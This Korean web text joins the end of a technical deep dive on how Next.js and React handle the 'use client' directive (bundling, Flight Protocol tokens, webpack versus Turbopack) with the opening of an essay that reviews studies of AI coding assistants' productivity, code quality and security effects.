페이지 초기에 보일 필요 없는 무거운 클라이언트 컴포넌트는 `next/dynamic` 또는 `React.lazy`로 분리한다.

```tsx
'use client'

import dynamic from 'next/dynamic'

const RichEditor = dynamic(() => import('./RichEditor'), {
  loading: () => <p>Loading editor...</p>,
})

export function PostForm() {
  const [editing, setEditing] = useState(false)
  return editing ? (
    <RichEditor />
  ) : (
    <button onClick={() => setEditing(true)}>편집</button>
  )
}
```

`RichEditor`는 별도 chunk로 분리되어 사용자가 편집 버튼을 누를 때만 로드된다. 초기 페이로드 크기와 hydration 비용이 모두 줄어든다.

### 3. 같은 chunk를 공유하도록 webpack에 맡기기

같은 `node_modules` 라이브러리를 여러 클라이언트 컴포넌트가 import하면, webpack은 자동으로 vendors chunk로 묶는다. 100개 컴포넌트가 lodash를 쓰든 1개가 쓰든 lodash chunk는 한 번만 다운로드된다.

이걸 깨는 패턴은 — **dynamic import의 모듈 경로를 동적으로 만드는 것**. webpack이 정적 분석을 못해서 chunk 분리를 제대로 못 한다.

```tsx
// ❌ webpack이 chunk를 분리할 수 없다
const Component = dynamic(() => import(`./components/${name}`))

// ✅
const Component = dynamic(() => import('./components/Foo'))
```

### 4. Suspense boundary로 streaming 가시성 끌어올리기

`$L<id>` 토큰은 Suspense 가능하다. 부모 트리에 Suspense가 있으면, 클라이언트 chunk가 도착하기 전에 fallback이 보이고, chunk가 도착하면 자연스럽게 교체된다.

```tsx
import {Suspense} from 'react'
import dynamic from 'next/dynamic'

const Comments = dynamic(() => import('./Comments'))

export default function Post() {
  return (
    <article>
      <Header />
      <Body />
      <Suspense fallback={<CommentsSkeleton />}>
        <Comments />
      </Suspense>
    </article>
  )
}
```

Server Component 안에서 비동기 데이터 페칭에도 동일한 패턴이 적용된다 — Suspense는 RSC와 클라이언트 컴포넌트 양쪽 모두의 비동기 경계로 작동한다. 단, 두 경우는 **층위가 다르다**. `next/dynamic`이 만드는 Suspense는 클라이언트 chunk(JS) 다운로드를 기다리고, RSC의 비동기 데이터 페칭이 만드는 Suspense는 서버에서 RSC 스트림 chunk가 도착하기를 기다린다. 클라이언트가 해석하는 시점도 다르다 — 후자의 fallback은 첫 HTML에 이미 들어있을 수 있고, 전자의 fallback은 hydration 후 chunk가 도착할 때까지 그 자리에 머문다.

### 5. props 페이로드를 가볍게

RSC payload 크기는 SSR HTML 다음으로 사용자가 첫 화면에서 받는 데이터다. props가 무거우면 그대로 비용이 된다.

- 필요한 필드만 select해서 넘기기 (DB 레벨에서)
- 큰 컬렉션은 클라이언트에서 페이지네이션
- Map/Set으로 자료구조 표현이 더 컴팩트한 경우 활용
- 같은 객체를 여러 곳에서 참조 — Flight Protocol은 자동으로 dedup한다(인라인 참조 토큰 `$<id>`).

### 6. 'use client' 직접 측정

단일 페이지에서 어떤 `'use client'` 경계가 가장 큰 비용을 만드는지 알아내려면, build manifest를 직접 보는 게 가장 정확하다. `.next/build-manifest.json`과 `.next/app-build-manifest.json`이 페이지별 chunk 리스트를 가지고 있다. 페이지 단위로 chunk 크기를 합산하면 — 진짜 무거운 페이지가 어디인지 보인다.

```bash
# .next/app-build-manifest.json
{
  "pages": {
    "/dashboard": [
      "static/chunks/webpack-abc.js",
      "static/chunks/main-app-def.js",
      "static/chunks/app/dashboard/page-ghi.js",
      ...
    ]
  }
}
```

각 chunk의 크기를 더하면 그 페이지의 클라이언트 JS 총량이다. Next.js의 `next build` 결과에서도 페이지별 First Load JS가 표시되지만, 어느 컴포넌트가 그 비용을 만드는지까지는 build-manifest와 bundle-analyzer를 같이 봐야 알 수 있다.

## 'use client' vs 'use server': 같은 디렉티브 다른 방향

이 두 디렉티브는 데칼코마니다. 표로 정리하면 차이가 더 명확해진다.

| 항목                  | `'use client'`                         | `'use server'`                                   |
| --------------------- | -------------------------------------- | ------------------------------------------------ |
| 위치                  | 모듈 최상단                            | 모듈 최상단 또는 함수 본문 첫 줄                 |
| 의미                  | 이 모듈은 클라이언트 번들의 진입점     | 이 함수는 서버 RPC 엔드포인트                    |
| 메타데이터 태그       | `Symbol.for('react.client.reference')` | `Symbol.for('react.server.reference')`           |
| 메타데이터 속성       | `$$typeof`, `$$id`, `$$async`          | `$$typeof`, `$$id`, `$$bound`, `bind` 오버라이드 |
| Flight 토큰           | `$L<id>` (lazy) 또는 `$<id>`           | `$h<id>`                                         |
| 직렬화되는 것         | 모듈/export 메타데이터 + chunk 정보    | 함수 ID + 바운드 인자                            |
| 클라이언트 측 결과    | React lazy 컴포넌트 + chunk fetch      | `callServer(id, args)` 프록시 함수               |
| 직접적 코드 변환 주체 | webpack loader (`next-flight-loader`)  | webpack loader + `registerServerReference`       |

겹치는 패턴이 보인다. 둘 다 빌드 타임에 코드가 통째로 변환되고, `Symbol.for(...)` 태그로 식별되는 메타데이터 객체로 대체된다. Flight Protocol은 그 메타데이터를 자기 토큰으로 직렬화하고, 반대편에서 반대 방향의 변환으로 살려낸다.

차이는 방향이다. `'use client'`는 **서버 → 클라이언트로 컴포넌트 코드를 보내는 경계**고, `'use server'`는 **클라이언트 → 서버로 함수 호출을 보내는 경계**다. 둘이 함께 쓰여 RSC의 양방향 통신을 완성한다.

## Turbopack에서는 무엇이 다른가

지금까지 인용한 코드는 **webpack 경로**다. `react-server-dom-webpack`, `next-flight-loader`, `flight-client-entry-plugin`, `__webpack_require__`. 그런데 Next.js 16부터는 `next dev`와 `next build` 모두 Turbopack을 기본 번들러로 사용한다. webpack은 `--webpack` 플래그로 opt-in이다.

다행히 `'use client'`의 핵심 모델은 webpack과 Turbopack에서 거의 같다. 둘 다 RSC 서버 경계에서는 클라이언트 모듈을 직접 실행하지 않고, Client Reference 메타데이터로 바꾼 뒤 Flight Protocol을 통해 클라이언트가 실제 구현을 로드하게 만든다. 이 글의 webpack 측 코드 인용은 그 모델을 뜯어보는 도구일 뿐, **모델 자체는 양쪽에서 같다**.

이 절에서는 두 번들러의 차이만 짧게 정리한다. Turbopack 내부 구현(Rust로 짜인 SWC 트랜스폼) 자체는 다루지 않는다 — 사용자가 다뤄야 하는 추상 수준이 아니기 때문이다.

### 같은 점부터 — 오해를 막기 위해

먼저 무엇이 **같은지** 짚는다. 다음 세 영역은 두 번들러에서 같은 추상화를 공유한다.

| 영역                                     | 비고                                                                                                                                       |
| ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
| `registerClientReference` 본체           | `react-server-dom-turbopack/src/ReactFlightTurbopackReferences.js`[^8]가 webpack 버전과 같은 형태로 `$$typeof`/`$$id`/`$$async`를 주입한다 |
| `createClientModuleProxy` + Proxy 핸들러 | get/getOwnPropertyDescriptor/getPrototypeOf/set 트랩 구조가 같고, `then` 분기 의도(동기 모듈을 thenable로 위장)도 같다                     |
| Flight Protocol과 `$L<id>` 토큰          | 직렬화/역직렬화는 React 측 코드(`ReactFlightServer.js`, `ReactFlightClient.js`)가 처리. 번들러 영향 없음                                   |

즉 **빌드 결과물에 박힌 stub 객체의 형태와 RSC 스트림의 와이어 포맷은 양쪽이 같다**. RSC 스트림 안의 `I:5:["...",[...],"...",0]` 같은 import chunk 행도, 클라이언트가 만들어내는 React lazy 노드도 같은 모양이다.

다만 "같다"는 말은 **와이어 포맷과 React 레벨의 추상화가 같다**는 뜻이지, 매니페스트 내부의 chunk metadata 표현이나 런타임 로더 구현까지 byte-level로 같다는 뜻은 아니다. webpack은 `__webpack_require__`와 `[chunkId, fileName]` 페어를 사용하고, Turbopack은 `__turbopack_require__`와 Turbopack 런타임의 chunk 로딩 규칙을 사용한다. 다음 절에서 이 차이를 본다.

### 다른 점

본격적인 차이는 **빌드 타임의 변환 주체**와 **런타임 chunk 로딩**에서 나온다.

| 영역                  | webpack                                       | Turbopack                                                                        |
| --------------------- | --------------------------------------------- | -------------------------------------------------------------------------------- |
| 패키지                | `react-server-dom-webpack`                    | `react-server-dom-turbopack`                                                     |
| 빌드 트랜스폼         | webpack loader (`next-flight-loader`, JS)     | Turbopack ECMAScript 트랜스폼 (Rust/SWC, Next.js 내부)                           |
| 클라이언트 entry 생성 | `flight-client-entry-plugin` (webpack plugin) | Turbopack의 transition rule + 자동 추출. 별도 plugin 없이 통합                   |
| 레이어 분리           | `experiments.layers` + `WEBPACK_LAYERS.*`     | Turbopack의 transition rule (RSC ↔ SSR ↔ Client 컨텍스트 정의)                   |
| 런타임 require        | `__webpack_require__(id)`                     | `__turbopack_require__(id)`                                                      |
| chunk metadata 표현   | `[chunkId, fileName]` alternating pair        | Turbopack 런타임에 맞춘 별도 표현. webpack의 페어 구조를 그대로 대입하면 안 된다 |
| 매니페스트 발행       | 컴파일 종료 시 일괄 emit                      | dev 모드에서는 **on-demand** emit (요청 도달 시 해당 entry만 발행)               |

이 중 글 본문에 영향을 주는 항목은 두 가지다.

**1. 런타임 require 함수 이름.** 위에서 다룬 `requireModule`이 Turbopack에서는 `__turbopack_require__(metadata[0])`을 호출한다. 그 외 큰 흐름은 같다 — `preloadModule`이 chunk를 fetch하고 `requireModule`이 동기 require로 export를 추출한다.

**2. chunk 로딩 캐시.** Turbopack 경로도 React client config(`ReactFlightClientConfigBundlerTurbopack.js`)에서 chunk 로딩 상태를 캐싱한다. webpack과 마찬가지로 `chunkCache`를 두고, 같은 chunk를 두 번 로드하지 않게 한다. 다만 chunk 식별자와 로딩 함수가 Turbopack 런타임에 맞춰져 있고, 모듈 resolve도 `__turbopack_require__`를 통해 이뤄진다. webpack의 alternating pair 순회 코드를 Turbopack에 그대로 옮길 수는 없다.

이 두 차이 모두 사용자가 직접 코드로 만나는 부분은 아니다. `'use client'`를 적고 컴포넌트를 import하는 입장에서는 webpack과 Turbopack을 구분할 일이 거의 없다.

### 빌드 트랜스폼 위치는 다르지만 결과물은 같다

webpack에서는 `next-flight-loader`(TypeScript로 짜인 webpack loader)가 모듈 텍스트를 받아서 `'use client'` 디렉티브를 감지하고 export 별로 `registerClientReference(...)` 호출 코드를 generate한다.

Turbopack에서는 같은 일을 Next.js 내부 Rust 트랜스폼이 한다. SWC 기반 AST 변환이고, 결과물은 동일한 형태의 stub 함수 + 메타데이터 등록 코드다. 다만 이 변환은 webpack loader처럼 plugin chain에 끼워 넣는 방식이 아니라, Turbopack의 transition rule을 통해 RSC layer로 들어오는 모듈에 대해 자동으로 적용된다.

Rust 측 구현을 들여다볼 필요는 거의 없다. 빌드된 결과물(JS 출력물)을 grep해보면 webpack 버전과 거의 같은 형태의 `registerClientReference` 호출이 박혀있다. 이 글의 webpack 측 인용 코드는 그 결과물의 구조를 설명하는 것이므로, Turbopack에서도 그대로 적용된다.

### dev 매니페스트의 on-demand 발행

webpack dev 서버는 컴파일이 끝나야 매니페스트가 emit된다. 즉 첫 컴파일이 길어지면 첫 RSC 요청도 기다려야 한다. Turbopack은 dev 모드에서 페이지 단위로 컴파일하고, 매니페스트도 그 entry에 한해서만 발행한다. 동일 페이지를 다시 요청하면 캐싱된 매니페스트가 즉시 응답된다.

매니페스트가 하는 **역할**은 양쪽이 같다 — RSC 서버가 client reference를 실제 클라이언트/SSR 모듈로 연결하기 위한 lookup table이다. `clientModules`, `ssrModuleMapping` 같은 큰 카테고리도 비슷한 모양으로 존재한다. 다만 chunk metadata의 구체적인 표현과 런타임 로딩 방식은 번들러별로 다르다 — 본문 앞에서 본 webpack의 `[chunkId, fileName]` alternating pair를 Turbopack에 그대로 대입하면 안 된다.

### 정리: webpack 인용을 Turbopack으로 읽기

이 글의 내용을 Turbopack 환경에서 읽을 때 머리에 둘 변환 규칙은 셋이다.

1. **패키지 이름**: `react-server-dom-webpack`을 `react-server-dom-turbopack`으로 바꿔 읽는다. reference helper의 형태는 같아서 본문 인용 코드의 의미는 그대로 통한다.
2. **런타임 require**: `__webpack_require__`를 `__turbopack_require__`로 바꿔 읽는다.
3. **빌드 plugin/loader**: `next-flight-loader`/`flight-client-entry-plugin`을 "Turbopack의 transition rule + Rust 트랜스폼"으로 바꿔 읽는다. 결과물은 같은 형태의 stub + 메타데이터 등록 코드.

핵심 정리하면 이 글의 최종 방향은 이렇다. **webpack 코드를 기준으로 내부 구조를 설명하되, Turbopack에서도 RSC의 핵심 모델은 동일하다 — RSC 서버는 클라이언트 모듈을 직접 실행하지 않고 메타데이터로만 박아두며, Flight Protocol을 통해 클라이언트가 실제 구현을 로드한다. 다만 chunk metadata 표현, 런타임 require, entry 생성 방식, dev 매니페스트 발행 타이밍은 번들러별로 다르다.**

## 전체 아키텍처

```mermaid
flowchart TD
  A["'use client' module"] --> B["Bundler RSC transform<br/>webpack: next-flight-loader<br/>Turbopack: transition transform"]
  B --> C["RSC server output: client reference stub"]
  B --> D["Client output: original implementation"]
  B --> E["SSR output: original implementation"]

  C --> F["serializeClientReference"]
  F --> G["Import metadata"]
  F --> H["$L token"]

  H --> I["React Flight Client"]
  I --> J["createLazyChunkWrapper"]
  J --> K["preloadModule / requireModule"]
  K --> L["Actual Client Component"]
```

## 마치며

`'use client'` 한 줄 뒤에 숨어있는 것들을 정리하면.

1. **'use client'는 진입점 마커다**. 클라이언트 번들 그래프의 시작점이지, 컴포넌트 단위 표시가 아니다. 그 아래 모든 import는 자동으로 클라이언트 번들에 들어간다.

2. **빌드 타임 변환**: `next-flight-loader`가 `'use client'` 모듈을 RSC 서버 번들에서는 stub으로, 클라이언트/SSR 번들에서는 본문 그대로 빌드한다. 같은 모듈이 layer별로 다르게 컴파일된다.

3. **registerClientReference**: `Object.defineProperties`로 `$$typeof`, `$$id`, `$$async`를 stub에 박는다. CJS 모듈은 `createClientModuleProxy`로 통째로 Proxy화된다.

4. **flight-client-entry-plugin**: webpack에 클라이언트 entry를 자동으로 추가해서 chunk를 만들고, 매니페스트(client-reference-manifest)를 emit한다.

5. **직렬화**: `serializeClientReference`가 매니페스트에서 `[id, chunks, name, async]` 메타데이터를 lookup해서 import chunk를 emit한다. element의 type 슬롯에 있으면 `$L<hex>`, 그 외 위치면 `$<hex>` 토큰.

6. **클라이언트 측**: `parseModelString`이 `$L<hex>`를 만나면 `createLazyChunkWrapper`로 React lazy 노드를 만든다. `preloadModule`이 chunk를 fetch하고, `requireModule`이 `__webpack_require__`로 실제 컴포넌트를 resolve한다. chunk는 `chunkCache`로 dedup된다.

7. **SSR과 RSC**: 같은 컴포넌트가 RSC layer, SSR layer, 클라이언트 layer 세 곳에서 빌드된다. 매니페스트의 `ssrModuleMapping`이 RSC payload를 SSR이 소비할 때 모듈 ID 매핑 역할을 한다.

8. **컴포지션**: `children` prop으로 Server Component를 클라이언트 wrapper에 넘기는 패턴이 RSC의 핵심 무기. import는 단방향이지만 prop은 양방향이다.

9. **성능**: `'use client'`를 leaf로 미루기, dynamic import, Suspense boundary, props 페이로드 다이어트가 직접 통한다.

`'use client'`는 단순한 디렉티브 문자열처럼 보이지만, 그 뒤에는 webpack layer 분리, 두 갈래 코드 변환, 자동 entry 생성, 매니페스트, Flight Protocol의 lazy 토큰, 그리고 chunk dedup까지 — 여러 시스템의 합주가 있다. 이 합주를 이해하고 나면 `'use client'`를 어디에 둘지, 무엇을 prop으로 넘길지, 어디에 Suspense를 칠지에 대한 판단이 훨씬 단단해진다.

[`'use server'` 글](/2026/03/react-server-functions-deep-dive)이 클라이언트 → 서버 방향이었다면, 이 글은 서버 → 클라이언트 방향이다. 두 디렉티브를 함께 보고 나면 RSC의 컴포지션 모델 전체를 잡을 수 있다.

## 참고

[^1]: Next.js v16.2.4 기준 소스, [`next-flight-loader/index.ts`](https://github.com/vercel/next.js/blob/v16.2.4/packages/next/src/build/webpack/loaders/next-flight-loader/index.ts), [`module-proxy.ts`](https://github.com/vercel/next.js/blob/v16.2.4/packages/next/src/build/webpack/loaders/next-flight-loader/module-proxy.ts)

[^2]: Next.js v16.2.4 기준 소스, [`flight-client-entry-plugin.ts`](https://github.com/vercel/next.js/blob/v16.2.4/packages/next/src/build/webpack/plugins/flight-client-entry-plugin.ts)

[^3]: React v19.2.0 기준 소스, [`ReactFlightWebpackReferences.js`](https://github.com/facebook/react/blob/v19.2.0/packages/react-server-dom-webpack/src/ReactFlightWebpackReferences.js)

[^4]: Next.js v16.2.4 기준 소스, [`flight-manifest-plugin.ts`](https://github.com/vercel/next.js/blob/v16.2.4/packages/next/src/build/webpack/plugins/flight-manifest-plugin.ts)

[^5]: React v19.2.0 기준 소스, [`ReactFlightServer.js`](https://github.com/facebook/react/blob/v19.2.0/packages/react-server/src/ReactFlightServer.js)

[^6]: React v19.2.0 기준 소스, [`ReactFlightClient.js`](https://github.com/facebook/react/blob/v19.2.0/packages/react-client/src/ReactFlightClient.js)

[^7]: React v19.2.0 기준 소스, [`ReactFlightClientConfigBundlerWebpack.js`](https://github.com/facebook/react/blob/v19.2.0/packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js)

[^8]: React v19.2.0 기준 소스, [`ReactFlightTurbopackReferences.js`](https://github.com/facebook/react/blob/v19.2.0/packages/react-server-dom-turbopack/src/ReactFlightTurbopackReferences.js), [`ReactFlightClientConfigBundlerTurbopack.js`](https://github.com/facebook/react/blob/v19.2.0/packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack.js)

---

Source: https://yceffort.kr/2026/04/ai-only-amplifies-what-you-see.md
Title: <em>AI</em>는 내가 보이는 수준까지만 나를 증폭한다
Description: 분명 빨라졌는데 코드베이스와 내 실력은 왜 그대로인가. 체감과 실증 사이의 간격을 들여다본다.
Date: 2026-04-20
Tags: essay, ai, learning, career, productivity, code-quality

## Table of Contents

## TL;DR

- **생산성은 조건부다.** 빨라진다는 실증과 느려진다는 실증이 같이 있다. 태스크 성격, 숙련도, 코드베이스 성숙도가 방향을 가른다.
- **품질·보안·기술 부채는 대체로 부정적이다.** 결함은 쌓이고, 개발자는 그걸 과소평가한다.
- **엇갈림의 뿌리는 하나다. AI는 개발자의 판단 기준을 증폭한다.** 기준이 있으면 속도가 오르고, 없으면 검증되지 않은 코드가 그대로 쌓인다. 그래서 공부는 여전히, 아니 더 필요해졌다.

## 체감과 실증 사이의 간격

AI 코딩 도구가 업계에 깔린 뒤로 개발자들 사이에서 두 가지 말이 같이 돈다. "코드가 훨씬 빨리 나온다"와 "그런데 코드베이스는 점점 나빠지는 것 같다". 한 사람 입에서 둘 다 나오는 경우도 흔하다. 이 글은 그 괴리를 들여다보려 한다.

글 전체를 관통하는 한 문장은 이렇다.

> **AI는 개발자가 이미 판단할 수 있는 수준, 즉 "보이는 수준"까지만 나를 증폭한다.**

"AI를 쓰지 말자"는 얘기가 아니다. 여러 연구가 반복해서 가리키는 특성이다. 모른 채 쓰면 부채가 조용히 쌓이고, 알고 쓰면 도구의 혜택을 가려서 챙길 수 있다. 갈림을 가르는 건 개발자 본인의 판단 기준, 그동안 쌓아둔 공부다. 아래에서는 (1) 생산성, (2) 품질·보안, (3) 기술 부채 세 영역으로 공개 자료를 정리하고, 마지막에 개인 관찰을 덧붙인다.

## 실증 1: 생산성 측정 결과는 한 방향이 아니다

### 긍정적 결과: GitHub, Accenture, Zoominfo

가장 자주 인용되는 숫자는 [GitHub와 MSR/Microsoft가 2022년에 낸 무작위 대조 실험(RCT)](https://arxiv.org/abs/2302.06590)에서 나왔다. 개발자 95명에게 JavaScript로 HTTP 서버를 구현하게 하고, Copilot을 쓴 그룹과 안 쓴 그룹을 비교했다.

- Copilot 그룹 평균 완료 시간: **1시간 11분**.
- 대조군 평균 완료 시간: **2시간 41분**.
- 속도 향상: **55.8%**, p=0.0017, 95% 신뢰구간 [21%, 89%].
- 주관 지표에서 "몰입 유지(73%)", "반복 작업에서 인지 부하 감소(87%)" 등이 나왔다.
- 효과가 가장 컸던 집단: **프로그래밍 경험이 적은 개발자, 하루 코딩 시간이 긴 개발자**.

이 연구가 가진 한계는 실험 설계 쪽이다. 태스크는 새 파일 하나에 HTTP 서버를 새로 짜는 일이었고, 평균 작업 시간도 1~2시간 수준이었다. 기존 코드베이스의 제약도 없었다. 쉽게 말해 AI에 가장 유리한 조건에서 나온 숫자다. 이후 3년간 이 "55%"가 제일 자주 인용됐지만, 같은 규모로 재현한 후속 연구는 드물다. 이 숫자를 특정 태스크 한정 결과라고 명시하지 않고 일반 수치처럼 쓰는 경향에 대해 비판도 꾸준히 나왔다.

후속으로 [Accenture와 GitHub가 2024년에 낸 기업 환경 RCT](https://github.blog/news-insights/research/research-quantifying-github-copilots-impact-in-the-enterprise-with-accenture/)는 개발자 450명을 실험군, 200명을 대조군으로 두고 측정했다.

- PR 수 **+8.69%**.
- PR 머지율 **+15%**.
- 빌드 성공 수 **+84%**.
- 만족도: 90%가 "업무에 더 만족", 91%가 "코딩이 더 즐겁다".
- 참가자 중 **80% 이상**이 도입에 성공했고, 그중 **67%** 가 주 5일 이상 썼다(평균 주 3.4일).

이 연구에도 방법론적으로 짚을 곳이 있다. 측정 지표 대부분이 "PR 수", "머지 수"처럼 **코드가 얼마나 많이 제출되는가**만 재는 산출량 지표라, 그렇게 머지된 코드가 장기적으로 얼마나 살아남는지는 보여주지 못한다. throughput이 올랐다는 것과 장기 품질이 올랐다는 것은 서로 다른 질문이라는 지적이 따라붙었다.

[Zoominfo가 2025년에 공개한 400명 규모 기업 현장 사례 연구](https://arxiv.org/abs/2501.13282)는 통제된 실험실이 아니라 실제 개발 환경에서 나온 숫자를 정리했다.

- 제안 수락률(suggestion acceptance rate): **33%**.
- 라인 단위 수락률: **20%**.
- 개발자가 느낀 시간 절약: 약 **20%**.
- 만족도 점수: **72%**.
- 연구 기간 동안 Copilot이 기여한 라인은 수십만 줄 단위.
- 도입 방식도 전면 롤아웃이 아니라 4단계로 나눠서 점진 도입.
- 주요 한계로 짚힌 것: "도메인 특화 로직을 잘 못 짠다", "코드 품질이 들쭉날쭉하다".

Zoominfo 사례에서 눈에 띄는 건 수락률이 생각보다 낮다는 점이다. 제안의 **67%는 버린다**는 얘긴데, 이 숫자는 실험실 RCT보다 실제 현장에서의 사용 패턴에 더 가깝다.

### 부정적 또는 중립적 결과: Uplevel, METR

반대 방향의 결과도 있다. [Uplevel Data Labs가 2024년에 낸 현장 관측 보고서](https://visualstudiomagazine.com/articles/2024/09/17/another-report-weighs-in-on-github-copilot-dev-productivity.aspx)는 자사 고객사 개발자 약 800명의 객관 지표(사이클 타임, PR throughput, 버그율, 초과 근무 시간 등)를 재봤다.

- 사이클 타임, PR throughput: Copilot 그룹과 대조군 사이에 **유의미한 차이 없음**.
- 버그율: Copilot 그룹에서 **유의미하게 올라감**.
- 번아웃 선행 지표("Sustained Always On"): 두 그룹 모두 떨어짐.

Uplevel은 "Copilot이 코드 품질에 부정적으로 작용할 수 있다"고 해석했다. 측정 기간은 약 3개월이었고, 개발자들은 자기 일상 업무를 평소대로 했다. 통제된 실험실 태스크가 아니라 **현장에서 오래 지켜본 설계**에 가깝다. GitHub 2022의 +55%와 방향이 다른 이유는 태스크 성격과 관측 기간 양쪽에 걸쳐 있다.

METR이 2025년 7월에 공개한 [무작위 대조 실험(RCT)](https://metr.org/blog/2025-07-10-early-2025-ai-experienced-os-dev-study/)은 숙련된 오픈소스 메인테이너 16명에게 이슈 246개를 나눠주고, 이슈마다 AI 사용을 랜덤하게 허용하거나 막았다. 도구는 주로 Cursor Pro + Claude 3.5/3.7 Sonnet이었고, 작업 대상은 참가자가 평소 유지보수하던 오래된 레포지토리였다.

- 개발자가 시작 전 예측한 값: AI로 **24% 빨라질 것**.
- 개발자가 끝난 뒤 자평한 값: **20% 빨라짐**.
- 실제로 잰 값: **19% 느림** (신뢰구간 +2%~+39%).

체감으로는 20% 빨라졌다고 답했는데 실측은 19% 느렸다. 태스크를 다 끝낸 뒤에도 개발자들은 여전히 자기가 빨라졌다고 생각했다.

METR은 [2026년 2월 업데이트](https://metr.org/blog/2026-02-24-uplift-update/)에서 다른 숫자를 내놨다.

- 원 실험 참가자 중 다시 온 10명: AI 썼을 때 **18% 빨라짐** (신뢰구간 -38% ~ +9%).
- 새로 모집한 47명: **4% 빨라짐** (신뢰구간 -15% ~ +9%).

METR도 선택 편향 가능성을 경고하면서, "같은 개발자들이 1년 동안 AI를 다루는 숙련도가 올라갔을 가능성이 크다"고 설명한다.

### Stack Overflow 서베이가 남긴 그림

전 세계 개발자 수만 명 규모의 자기 보고 설문인 [2024 Stack Overflow Developer Survey — AI](https://survey.stackoverflow.co/2024/ai)는 이런 숫자를 냈다.

- AI 도구 사용/사용 예정: **76%**.
- AI 출력의 정확도를 믿는다: **43%**.
- "복잡한 태스크에서 AI가 나쁘다"고 답한 비율: **45%**.

1년 뒤 [2025 Stack Overflow Developer Survey](https://survey.stackoverflow.co/2025/ai)는 이렇게 바뀌었다.

- AI 사용/사용 예정: **84%** (+8%p).
- AI 출력의 정확도를 믿는다: **29%** (-14%p).
- AI 정확도를 "불신": **46%** (+15%p).
- "AI 답이 거의 맞지만 결정적으로 빗나간다"를 겪어봄: **66%**.
- "AI 코드 디버깅이 직접 짜는 것보다 오래 걸린다": **45%**.
- 긍정 sentiment: 77%(2023) → 72%(2024) → 60%(2025).

정리하면, **사용률은 오르는데 신뢰는 내려가는 흐름**이 2024~2025년 내내 이어졌다.

### 결과가 엇갈리는 이유

위 연구들이 서로 반대되는 건 아니다. 태스크의 판단 요구량과 사용자의 판단 기준이라는 두 축이 교차하는 방식이 다를 뿐이다.

**태스크 축.** HTTP 서버를 새 파일 하나에 짜는 일(GitHub 2022)과 오래된 레포에서 맥락 위로 이슈를 잡는 일(METR 2025)은 AI가 감당해야 할 판단의 양 자체가 다르다. 전자는 요구사항이 짧고 주변 코드 제약이 없어서 AI가 거의 혼자 완결한다. 후자는 기존 구조와 엣지 케이스 위에서 움직여야 해서, 사용자가 어디를 손댈지 먼저 알고 있어야 한다.

**숙련도 축.** GitHub 2022에서 가장 큰 이득을 본 집단은 "경험이 적은 개발자"였다. 언뜻 보면 "판단 기준이 있어야 AI가 잘 증폭한다"는 이 글의 테제와 반대로 읽힌다. 하지만 정형화된 좁은 태스크에서는 초보자의 판단 공백이 드러날 여지가 애초에 없다. 판단이 별로 필요하지 않은 태스크이기 때문이다. 반면 METR 2025의 오래된 레포 태스크는 판단 기준의 유무가 핵심 변수로 드러나는 조건이었고, 거기서 숙련자들조차 -19%를 기록했다. 두 결과는 같은 메커니즘의 다른 면이다.

**측정 지표 축.** 자기 보고(Zoominfo, Stack Overflow)와 객관 측정(METR, Uplevel) 사이에는 구조적 차이가 있다. GitHub 2022 연구조차 주관 지표와 객관 지표가 어긋났다.

결국 "AI가 빠르게 만든다/느리게 만든다"는 단일 명제가 아니라, 태스크의 판단 요구량과 사용자의 판단 기준이 교차하는 조건부 명제다. 판단 요구량이 크고 판단 기준이 얕은 조건이 겹치면, 그때부터 뒤에서 볼 품질·보안·부채 쪽 결과들이 본격적으로 드러난다.

## 실증 2: 품질과 보안 쪽에서 반복해서 나오는 패턴

생산성과 달리, 품질·보안 쪽은 연구 결과가 꽤 일관되게 한 방향으로 쏠린다.

### Asleep at the Keyboard (Pearce et al., NYU)

[Pearce 등이 2021년에 낸 이 학술 실증 연구](https://arxiv.org/abs/2108.09293)는 Copilot의 보안 특성을 처음으로 재본 대표 논문이다.

- 설계: MITRE "Top 25" CWE(Common Weakness Enumeration)를 기준으로 89개 시나리오를 짜서 Copilot에 코드 생성을 요청.
- 뽑아낸 프로그램 수: **1,689개**.
- 결과: 이 중 **약 40%가 취약**.

여기서 "취약"이란 CWE에 정의된 결함 패턴을 그대로 재현했다는 뜻이다. 이 논문은 이후 IEEE S&P 2022와 Communications of the ACM에 실렸다. 저자들이 유독 강조한 대목은 Copilot이 사용자의 코드 주변 문맥을 따라간다는 점이다. 주변 코드에 이미 보안 결함 패턴이 있으면 Copilot이 그 패턴을 이어받아 추천한다. 취약한 코드베이스에서는 AI가 그 취약성을 더 증폭한다.

### Stanford "Do Users Write More Insecure Code with AI Assistants?"

[Perry 등의 Stanford 통제 실험(2022, arXiv:2211.03622)](https://arxiv.org/abs/2211.03622)은 초점을 바꿨다. AI 자체가 아니라 "AI를 쓴 사람"이 짠 결과물을 봤다.

- 참가자 47명, 세 가지 언어, 보안 관련 태스크 다섯 개.
- 절반은 AI 보조, 나머지는 에디터만 사용.
- 결과: AI 그룹이 보안 취약점을 더 많이 만들었다. 특히 문자열 암호화와 SQL injection에서 차이가 컸다.
- 심리 쪽: AI 그룹은 자기 코드가 더 안전하다고 믿었다.

실제 보안 수준은 내려갔고, 주관적 확신은 올라갔다. 두 방향이 반대였다.

### ACM TOSEM 2024: 공개 저장소의 Copilot 스니펫

[ACM TOSEM에 실린 후속 학술 실증 연구](https://dl.acm.org/doi/10.1145/3716848)는 공개 GitHub 프로젝트에서 Copilot이 만든 걸로 식별된 스니펫 733개를 모아 정적 분석을 돌렸다.

- 분석 언어: Python, JavaScript 중심.
- 결과: **29.8%** 스니펫에서 CWE에 해당하는 보안 결함이 잡혔다.
- 언어별로는 Python 29.5%, JavaScript 24.2%.

### Apiiro 2025: 기업 현장 규모의 관측

보안 플랫폼 벤더 [Apiiro가 2025년에 낸 현장 관측 보고서](https://apiiro.com/blog/4x-velocity-10x-vulnerabilities-ai-coding-assistants-are-shipping-more-risks/)는 Fortune 50 기업 내부의 레포지토리 수만 개, 개발자 수천 명 데이터를 자체 Deep Code Analysis 엔진으로 훑었다. 벤더 자체 기준으로 잰 숫자라는 점은 감안해야 한다.

- AI를 쓰는 개발자의 커밋 수: 평균 **3~4배 늘어남**.
- 커밋 분포: 작은 커밋 여러 개가 아니라 **거대한 PR**로 뭉쳐서 올라오는 쪽으로 쏠림.
- 취약점: privilege escalation 경로 **+322%**, 설계 결함 **+153%**, 클라우드 자격증명 노출 **약 2배** (Azure Service Principals 및 Storage Access Keys 기준).
